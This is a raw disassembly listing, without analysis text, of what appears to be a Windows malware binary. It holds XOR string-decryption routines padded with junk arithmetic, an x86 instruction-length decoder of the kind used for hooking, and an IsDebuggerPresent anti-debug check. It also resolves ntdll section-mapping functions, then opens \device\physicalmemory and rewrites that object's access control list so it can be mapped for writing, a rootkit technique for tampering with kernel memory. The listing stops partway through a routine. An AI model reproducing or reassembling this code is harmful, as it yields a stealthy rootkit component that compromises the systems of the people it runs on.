		mov	eax, dword_43C28C
		lea	eax, ds:4340E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 38Eh
		xor	edi, edi
		jmp	short loc_401A34
; ---------------------------------------------------------------------------


loc_401A1D:				; CODE XREF: .text:00401A36j
		mov	eax, dword_43C28C
		add	eax, edi
		lea	eax, ds:4340E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 76h
		mov	[eax], dl
		inc	edi


loc_401A34:				; CODE XREF: .text:00401A1Bj
		cmp	edi, esi
		jl	short loc_401A1D
		mov	dword ptr [ebp-0Ch], 3E6h
		mov	eax, dword_43C28C
		add	eax, esi
		mov	byte ptr ds:dword_4340E0[eax], 0
		mov	edi, dword_43C28C
		mov	eax, edi
		lea	eax, [eax+esi+5]
		mov	dword_43C28C, eax
		cmp	eax, 0DD0h
		jle	short loc_401A6D
		and	dword_43C28C, 0


loc_401A6D:				; CODE XREF: .text:00401A64j
		mov	dword ptr [ebp-10h], 1E0h
		lea	eax, dword_4340E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A7E	proc near		; CODE XREF: sub_4054C8+51p
					; sub_4061F7+4B2p ...

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C3h
		add	[ebp+var_1], 29h
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40C8CC	; CreateFileA
		mov	edi, eax
		call	sub_40C734	; GetCurrentProcessId
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401ACF
		mov	ax, word_43C290
		mov	[ebp+var_E], ax
		cmp	[ebp+arg_4], 0
		jz	short loc_401ACB
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_401ACB:				; CODE XREF: sub_401A7E+45j
		xor	eax, eax
		jmp	short loc_401B1C
; ---------------------------------------------------------------------------


loc_401ACF:				; CODE XREF: sub_401A7E+35j
		push	0
		push	edi
		call	sub_40C74C	; GetFileSize
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_401AFB
		mov	eax, [ebp+arg_4]
		mov	[ebp-10h], eax
		jmp	short loc_401B01
; ---------------------------------------------------------------------------


loc_401AFB:				; CODE XREF: sub_401A7E+73j
		lea	eax, [ebp+var_8]
		mov	[ebp-10h], eax


loc_401B01:				; CODE XREF: sub_401A7E+7Bj
		push	dword ptr [ebp-10h]
		push	esi
		push	ebx
		push	edi
		call	sub_40C8A8	; ReadFile
		mov	eax, dword_43C292
		mov	[ebp+var_C], eax
		push	edi
		call	sub_40C7AC	; CloseHandle
		mov	eax, ebx


loc_401B1C:				; CODE XREF: sub_401A7E+4Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401A7E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C2A0
		lea	eax, ds:410820h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401B5E
; ---------------------------------------------------------------------------


loc_401B47:				; CODE XREF: .text:00401B60j
		mov	eax, dword_43C2A0
		add	eax, edi
		lea	eax, ds:410820h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 5Fh
		mov	[eax], dl
		inc	edi


loc_401B5E:				; CODE XREF: .text:00401B45j
		cmp	edi, esi
		jl	short loc_401B47
		mov	dword ptr [ebp-4], 0D0h
		mov	eax, dword_43C2A0
		add	eax, esi
		mov	byte ptr ds:dword_410820[eax], 0
		xor	edi, edi
		mov	edi, dword_43C2A0
		add	dword_43C2A0, 3
		mov	eax, dword_43C2A0
		inc	eax
		add	eax, esi
		mov	dword_43C2A0, eax
		inc	dword_43C2A0
		cmp	dword_43C2A0, 0E06h
		jle	short loc_401BAD
		and	dword_43C2A0, 0


loc_401BAD:				; CODE XREF: .text:00401BA4j
		lea	eax, dword_410820[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BB7	proc near		; CODE XREF: sub_4054C8+690p
					; sub_4098A8+FD2p

var_D		= byte ptr -0Dh
var_5		= byte ptr -5
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ax, word_43C2A4
		mov	[ebp+var_4], ax
		mov	[ebp+var_2], 74D3h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		mov	ebx, [ebp+arg_4]
		jmp	short loc_401C1E
; ---------------------------------------------------------------------------


loc_401BE3:				; CODE XREF: sub_401BB7+6Ej
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0Dh
		jnz	short loc_401C1D
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		mov	edx, ebx
		sub	edx, eax
		push	edx
		mov	edx, [ebp+arg_0]
		add	edx, eax
		push	edx
		push	[ebp+arg_8]
		call	sub_40CC14
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx+eax], 0
		mov	eax, ebx
		add	eax, 2
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------


loc_401C1D:				; CODE XREF: sub_401BB7+33j
		inc	ebx


loc_401C1E:				; CODE XREF: sub_401BB7+2Aj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401BE3
		cmp	[ebp+arg_4], 0
		jz	short loc_401C5F
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401C5F
		mov	eax, ebx
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0Ah
		jnz	short loc_401C5F
		mov	[ebp+var_5], 4
		movzx	eax, [ebp+var_5]
		imul	eax, 11ACh
		mov	[ebp+var_5], al
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		inc	eax
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------


loc_401C5F:				; CODE XREF: sub_401BB7+74j
					; sub_401BB7+7Dj ...
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_40C95C	; lstrlenA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_401C9A
		mov	[ebp+var_5], 2
		add	[ebp+var_5], 1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	sub_40C6D8
		lea	edi, [ebp+var_D]
		lea	esi, aFqgcpb	; "FqGcPB:"
		movsd
		movsd
		mov	eax, [ebp+arg_4]
		add	eax, ebx
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------


loc_401C9A:				; CODE XREF: sub_401BB7+B8j
		xor	eax, eax


loc_401C9C:				; CODE XREF: sub_401BB7+64j
					; sub_401BB7+A6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401BB7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C2B8
		lea	eax, ds:437350h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 319h
		xor	edi, edi
		jmp	short loc_401CE8
; ---------------------------------------------------------------------------


loc_401CCE:				; CODE XREF: .text:00401CEAj
		mov	eax, dword_43C2B8
		add	eax, edi
		lea	eax, ds:437350h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F1h
		mov	[eax], dl
		inc	edi


loc_401CE8:				; CODE XREF: .text:00401CCCj
		cmp	edi, esi
		jl	short loc_401CCE
		mov	eax, dword_43C2B8
		add	eax, esi
		mov	byte ptr ds:dword_437350[eax], 0
		mov	edi, dword_43C2B8
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_43C2B8, eax
		add	dword_43C2B8, 2
		cmp	dword_43C2B8, 0DB0h
		jle	short loc_401D27
		and	dword_43C2B8, 0


loc_401D27:				; CODE XREF: .text:00401D1Ej
		lea	eax, dword_437350[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D31	proc near		; CODE XREF: sub_402843+93p

var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 15C6h
		add	[ebp+var_4], 325Fh
		inc	dword_43C230
		mov	ax, word_43C2BC
		mov	[ebp+var_A], ax
		mov	ebx, [ebp+arg_0]
		and	ds:dword_40E07C, 0
		and	ds:dword_41E8B8, 0
		and	ds:dword_41E9D0, 0
		and	ds:dword_40F1D0, 0
		mov	ds:dword_41B7A4, 4
		mov	ds:dword_41507C, 4


loc_401D8B:				; CODE XREF: sub_401D31+122j
					; sub_401D31+14Fj ...
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_415078,	al
		movzx	eax, ds:byte_415078
		or	eax, eax
		jl	loc_402002
		cmp	eax, 0FFh
		jg	loc_402002
		jmp	off_43C2CC[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C740	; GetCurrentThreadId


loc_401DBB:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401DCD:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		xor	eax, eax
		cmp	byte ptr [ebx],	20h
		setnz	al
		dec	eax
		and	eax, 4
		inc	eax
		mov	[ebp+var_1C], eax
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401DE8:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		or	byte ptr ds:dword_41E8B8, 40h
		test	byte ptr [ebx],	38h
		jnz	loc_402002


loc_401DF8:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C2DCo ...
		test	ds:byte_415078,	1
		jz	short loc_401E11
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401E11:				; CODE XREF: sub_401D31+CEj
		inc	ds:dword_41E9D0
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401E1C:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		inc	ds:dword_41E9D0
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401E2D:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C364o ...
		test	byte ptr ds:dword_41E8B8, 10h
		jz	short loc_401E3D
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401E3D:				; CODE XREF: sub_401D31+103j
		call	sub_40C794	; GetProcessHeap
		or	byte ptr ds:dword_41E8B8, 10h
		mov	al, ds:byte_415078
		mov	ds:byte_40F1DC,	al
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401E58:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		test	byte ptr ds:dword_41E8B8, 4
		jz	short loc_401E68
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401E68:				; CODE XREF: sub_401D31+12Ej
		lea	edi, [ebp+var_18]
		lea	esi, aQ8abz	; "Q8az"
		mov	ecx, 3
		rep movsw
		or	byte ptr ds:dword_41E8B8, 4
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401E85:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		test	byte ptr ds:dword_41E8B8, 8
		jz	short loc_401E95
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401E95:				; CODE XREF: sub_401D31+15Bj
		call	sub_40C7D0	; GetVersion
		or	byte ptr ds:dword_41E8B8, 8
		mov	al, ds:byte_415078
		mov	ds:byte_41FB00,	al
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401EB0:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C464o
		test	byte ptr ds:dword_41E8B8, 1
		jz	short loc_401EC0
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401EC0:				; CODE XREF: sub_401D31+186j
		or	byte ptr ds:dword_41E8B8, 1
		mov	ds:dword_41B7A4, 2
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401ED6:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C468o
		test	byte ptr ds:dword_41E8B8, 2
		jz	short loc_401EE6
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401EE6:				; CODE XREF: sub_401D31+1ACj
		mov	[ebp+var_12], 2BC6h
		sub	[ebp+var_12], 1A0Bh
		or	byte ptr ds:dword_41E8B8, 2
		mov	ds:dword_41507C, 2
		jmp	loc_401D8B
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401F0E:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		inc	ds:dword_41E9D0
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F20:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F37:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41B7A4
		add	eax, 2
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F4A:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41507C
		add	ds:dword_40F1D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401F70:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		add	ds:dword_41E9D0, 2
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F7C:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		add	ds:dword_41E9D0, 3
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401F85:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401F8C:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .data:0043C308o
		or	byte ptr ds:dword_41E8B8, 20h
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42FB10,	al
		movzx	eax, ds:byte_42FB10
		or	eax, eax
		jl	short loc_401FFB
		cmp	eax, 0Bh
		jg	short loc_401FB4
		jmp	off_43C6CC[eax*4]
; ---------------------------------------------------------------------------


loc_401FB4:				; CODE XREF: sub_401D31+27Aj
		cmp	eax, 80h
		jl	short loc_401FFB
		cmp	eax, 0CFh
		jg	short loc_401FFB
		jmp	off_43C4FC[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C734	; GetCurrentProcessId


loc_401FCE:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	short loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401FDF:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		mov	eax, ds:dword_41B7A4
		add	ds:dword_41E9D0, eax
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401FEC:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		inc	ds:dword_41E9D0
		or	byte ptr ds:dword_41E8B8, 40h
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401FFB:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+275j ...
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_402002:				; CODE XREF: sub_401D31+6Dj
					; sub_401D31+78j ...
		inc	dword_43C230
		test	byte ptr ds:dword_41E8B8, 40h
		jz	loc_40210E
		lea	edi, [ebp+var_1C+2]
		lea	esi, aIh	; ">%<Ih"
		mov	ecx, 3
		rep movsw
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_430C2C,	al
		mov	[ebp+var_12], 46D1h
		sub	[ebp+var_12], 49BDh
		movzx	eax, ds:byte_430C2C
		and	eax, 0C0h
		mov	[ebp+var_13], al
		movzx	eax, ds:byte_430C2C
		and	eax, 7
		mov	[ebp+var_14], al
		movzx	eax, [ebp+var_13]
		cmp	eax, 0C0h
		jz	loc_40210E
		call	sub_40C794	; GetProcessHeap
		cmp	[ebp+var_13], 40h
		jnz	short loc_402078
		inc	ds:dword_40F1D0


loc_402078:				; CODE XREF: sub_401D31+33Fj
		mov	byte ptr [ebp+var_1C+1], 69h
		add	byte ptr [ebp+var_1C+1], 1
		movzx	eax, [ebp+var_13]
		cmp	eax, 80h
		jnz	short loc_402096
		mov	eax, ds:dword_41507C
		add	ds:dword_40F1D0, eax


loc_402096:				; CODE XREF: sub_401D31+358j
		call	sub_40C734	; GetCurrentProcessId
		cmp	ds:dword_41507C, 2
		jnz	short loc_4020C1
		mov	byte ptr [ebp+var_1C], 71h
		add	byte ptr [ebp+var_1C], 25h
		cmp	[ebp+var_13], 0
		jnz	short loc_40210E
		cmp	[ebp+var_14], 6
		jnz	short loc_40210E
		add	ds:dword_40F1D0, 2
		jmp	short loc_40210E
; ---------------------------------------------------------------------------


loc_4020C1:				; CODE XREF: sub_401D31+371j
		mov	[ebp+var_1E], 61CBh
		sub	[ebp+var_1E], 7700h
		cmp	[ebp+var_14], 4
		jnz	short loc_4020FB
		call	sub_40C734	; GetCurrentProcessId
		or	byte ptr ds:dword_41E8B8, 80h
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_41B7A0,	al
		movzx	eax, ds:byte_41B7A0
		and	eax, 7
		mov	[ebp+var_14], al


loc_4020FB:				; CODE XREF: sub_401D31+3A0j
		cmp	[ebp+var_14], 5
		jnz	short loc_40210E
		cmp	[ebp+var_13], 0
		jnz	short loc_40210E
		add	ds:dword_40F1D0, 4


loc_40210E:				; CODE XREF: sub_401D31+2DEj
					; sub_401D31+330j ...
		and	ds:dword_40F1D4, 0
		jmp	short loc_40212F
; ---------------------------------------------------------------------------


loc_402117:				; CODE XREF: sub_401D31+409j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F1D4
		mov	al, [eax]
		mov	ds:byte_415070[edx], al
		inc	ds:dword_40F1D4


loc_40212F:				; CODE XREF: sub_401D31+3E4j
		mov	eax, ds:dword_40F1D0
		cmp	ds:dword_40F1D4, eax
		jb	short loc_402117
		mov	[ebp+var_6], 1644h
		sub	[ebp+var_6], 0C83h
		and	ds:dword_40F1D4, 0
		jmp	short loc_402169
; ---------------------------------------------------------------------------


loc_402151:				; CODE XREF: sub_401D31+443j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F1D4
		mov	al, [eax]
		mov	ds:byte_43A560[edx], al
		inc	ds:dword_40F1D4


loc_402169:				; CODE XREF: sub_401D31+41Ej
		mov	eax, ds:dword_41E9D0
		cmp	ds:dword_40F1D4, eax
		jb	short loc_402151
		mov	[ebp+var_8], 2887h
		add	[ebp+var_8], 1636h
		inc	dword_43C230
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	ds:dword_40E07C, eax
		xor	eax, eax
		inc	eax


loc_402195:				; CODE XREF: sub_401D31+107j
					; sub_401D31+132j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401D31	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 1EAh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43CF34
		lea	eax, ds:4186C0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4021E2
; ---------------------------------------------------------------------------


loc_4021C8:				; CODE XREF: .text:004021E4j
		mov	eax, dword_43CF34
		add	eax, edi
		lea	eax, ds:4186C0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D3h
		mov	[eax], dl
		inc	edi


loc_4021E2:				; CODE XREF: .text:004021C6j
		cmp	edi, esi
		jl	short loc_4021C8
		mov	dword ptr [ebp-8], 278h
		mov	eax, dword_43CF34
		add	eax, esi
		mov	byte ptr ds:dword_4186C0[eax], 0
		mov	edi, dword_43CF34
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43CF34, eax
		cmp	eax, 0DCEh
		jle	short loc_40221C
		and	dword_43CF34, 0


loc_40221C:				; CODE XREF: .text:00402213j
		lea	eax, dword_4186C0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402226	proc near		; CODE XREF: sub_402A48+15p

var_4		= word ptr -4
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C6h
		sub	[ebp+var_1], 4Eh
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_40C77C	; GetModuleHandleA
		mov	edi, eax
		mov	esi, 3E55h
		add	esi, 765Dh
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_430C24, eax
		call	sub_40C7C4	; GetTickCount
		push	offset aNtunmapviewofs ; "NtUnmapViewOfSection"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_41D8A0, eax
		push	offset aNtopensection ;	"NtOpenSection"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_41B7AC, eax
		mov	esi, 3B63h
		sub	esi, 2C1Bh
		push	offset aNtmapviewofsec ; "NtMapViewOfSection"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_41E8C8, eax
		push	offset aRtlntstatustod ; "RtlNtStatusToDosError"
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_430C20, eax
		mov	[ebp+var_4], 23Ah
		sub	[ebp+var_4], 4D70h
		pop	edi
		pop	esi
		leave
		retn
sub_402226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022BB	proc near		; CODE XREF: sub_402A48+172p

var_72		= dword	ptr -72h
var_6E		= byte ptr -6Eh
var_6D		= dword	ptr -6Dh
var_69		= byte ptr -69h
var_60		= byte ptr -60h
var_56		= word ptr -56h
var_53		= byte ptr -53h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		push	ebx
		push	esi
		push	edi
		call	sub_40C794	; GetProcessHeap
		push	offset aDevicePhysical ; "\\device\\physicalmemory"
		lea	eax, [ebp+var_60]
		push	eax
		call	ds:dword_430C24
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_18], 18h
		mov	ebx, 752Bh
		inc	ebx
		and	[ebp+var_14], 0
		mov	[ebp+var_53], 2Bh
		add	[ebp+var_53], 1
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_C], 40h
		mov	[ebp+var_56], 683Eh
		inc	[ebp+var_56]
		and	[ebp+var_8], 0
		lea	edi, [ebp+var_69]
		lea	esi, byte_43CFE6
		xor	ecx, ecx
		inc	ecx
		rep movsb
		and	[ebp+var_4], 0
		call	sub_40C7D0	; GetVersion
		and	[ebp+var_30], 0
		mov	eax, dword_43CFE7
		mov	[ebp+var_6D], eax
		and	[ebp+var_2C], 0
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], 1
		call	sub_40C794	; GetProcessHeap
		lea	eax, aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_20], eax
		lea	edi, [ebp+var_6E]
		lea	esi, byte_43CFEB
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	[ebp+var_50], 2
		mov	eax, dword_43CFEC
		mov	[ebp+var_72], eax
		mov	[ebp+var_4C], 1
		mov	ebx, 206Fh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		and	[ebp+var_48], 0
		lea	edi, [ebp+var_44]
		lea	esi, [ebp+var_30]
		mov	ecx, 5
		rep movsd
		mov	[ebp+var_52], 7B38h
		movzx	eax, [ebp+var_52]
		mov	edx, eax
		add	edx, eax
sub_4022BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4023A7	proc near		; DATA XREF: sub_4403F5+2Fo
		mov	eax, edx
		mov	[ebp-52h], ax
		lea	eax, [ebp-18h]
		push	eax
		push	60000h
		lea	eax, [ebp-1Ch]
		push	eax
		call	ds:dword_41B7AC
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp-78h]
		push	eax
		push	0
		lea	eax, [ebp-64h]
		push	eax
		push	0
		push	0
		push	4
		push	6
		push	dword ptr [ebp-1Ch]
		call	sub_40CB78	; GetSecurityInfo
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp-68h]
		push	eax
		push	dword ptr [ebp-64h]
		lea	eax, [ebp-50h]
		push	eax
		mov	eax, 0Bh
		sub	eax, dword_43CF30
		push	eax
		call	sub_40CB90	; SetEntriesInAclA
		call	sub_40C7C4	; GetTickCount
		push	0
		push	dword ptr [ebp-68h]
		push	0
		push	0
		push	4
		push	6
		push	dword ptr [ebp-1Ch]
		call	sub_40CB84	; SetSecurityInfo
		call	sub_40C734	; GetCurrentProcessId
		push	dword ptr [ebp-1Ch]
		call	sub_40C7AC	; CloseHandle
		lea	eax, [ebp-18h]
		push	eax
		push	dword ptr [ebp-50h]
		lea	eax, [ebp-1Ch]
		push	eax
		call	ds:dword_41B7AC
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp-1Ch]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4023A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402445	proc near		; CODE XREF: sub_402A48+230p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		and	[ebp+var_8], 0
		mov	[ebp+var_A], 3ABh
		add	[ebp+var_A], 6ED8h
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_B], 23h
		add	[ebp+var_B], 1
		push	4
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_4]
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	ds:dword_41E8C8
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp+var_8]
		leave
		retn
sub_402445	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024A8	proc near		; CODE XREF: sub_402A48+31Ap

var_2		= word ptr -2
